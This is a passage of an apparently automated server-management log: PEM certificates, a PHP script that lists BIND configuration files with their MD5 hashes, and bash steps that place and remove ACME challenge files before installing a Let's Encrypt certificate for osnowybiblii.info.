IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-08 06:00:17: Establishing a remote connection
2026-06-09 11:21:07: Establishing a connection
2026-06-09 11:21:37: Establishing a connection
2026-06-09 11:21:37: 

PUT: /tmp/pkp304848

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-06-09 11:21:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp304848; rm /tmp/pkp304848'

2026-06-09 11:21:38: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-06-09 11:21:53: Establishing a connection
2026-06-09 11:21:53: Establishing a connection
2026-06-09 11:21:53: 

PUT: /tmp/pkp281401

#!/bin/bash
if [ -d "/var/www/osnowybiblii_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-09 11:21:53: 

chmod 755 /tmp/pkp281401; /tmp/pkp281401; rm /tmp/pkp281401

2026-06-09 11:21:53: 


1


2026-06-09 11:21:54: Establishing a connection
2026-06-09 11:21:54: 

PUT: /tmp/pkp793744

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cat > f18uPfM8385jDGk0K10s7qEF-GrH-0yhgLwUPyxF_PQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
f18uPfM8385jDGk0K10s7qEF-GrH-0yhgLwUPyxF_PQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 f18uPfM8385jDGk0K10s7qEF-GrH-0yhgLwUPyxF_PQ
cat > HaM2AWcbTtjTiCTzAzSU3gTAlQVekZ0gT4uhbGcQ8M8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
HaM2AWcbTtjTiCTzAzSU3gTAlQVekZ0gT4uhbGcQ8M8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 HaM2AWcbTtjTiCTzAzSU3gTAlQVekZ0gT4uhbGcQ8M8


2026-06-09 11:21:54: 

chmod 755 /tmp/pkp793744; /tmp/pkp793744; rm /tmp/pkp793744

2026-06-09 11:21:54: 




2026-06-09 11:22:06: Establishing a connection
2026-06-09 11:22:06: 

PUT: /tmp/pkp273207

#!/bin/bash
mkdir -p "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
cd "/var/www/osnowybiblii_www/.well-known/acme-challenge/"
rm f18uPfM8385jDGk0K10s7qEF-GrH-0yhgLwUPyxF_PQ
rm HaM2AWcbTtjTiCTzAzSU3gTAlQVekZ0gT4uhbGcQ8M8


2026-06-09 11:22:06: 

chmod 755 /tmp/pkp273207; /tmp/pkp273207; rm /tmp/pkp273207

2026-06-09 11:22:06: 




2026-06-09 11:22:06: Establishing a connection
2026-06-09 11:22:06: 

PUT: /tmp/pkp904277

#!/bin/bash
temp_file=$(mktemp)
TARGET=0e3e734dd08e3f9fefca36cd65718d9b.crt

cat > $temp_file <<'endmsg'
99:f8:73:e3:ed:ff:7a:77:b6:82:46:f5:20:eb:35:60

-----BEGIN CERTIFICATE-----
MIIFFDCCA/ygAwIBAgISBiTqjepwGKKbXpmu9UDhtJJlMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjIwHhcNMjYwNjA5MTAyMzM1WhcNMjYwOTA3MTAyMzM0WjAcMRowGAYDVQQD
ExFvc25vd3liaWJsaWkuaW5mbzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAK0WEXxJSjpK9m/TmisMZh79UMPUlArF4uGwJS7SaNamgGc89xy3MdiY5elB
8IVkGiqegKJWBh+i4erKhnCMg5K+VkifbvhY3cvVQG42aZOdYgj5dTih5zSjc13t
UX3JofWZnAxIsnNDPiNDdF9LxbKR4OC2bo4EnT7YsxpoVQd/xhA1K5o2+oBNrx86
LGA0h5fw6TQO3znbw462Lj01C+ZdEilrp/rR365q4FFT9gFmqK4W3cZqfb1knWaw
2MnvSBgG+JcUclydY0NKwvOILNS+fv+5ufztfxWPxkn1woHUVf5ssOxHXkYzssAG
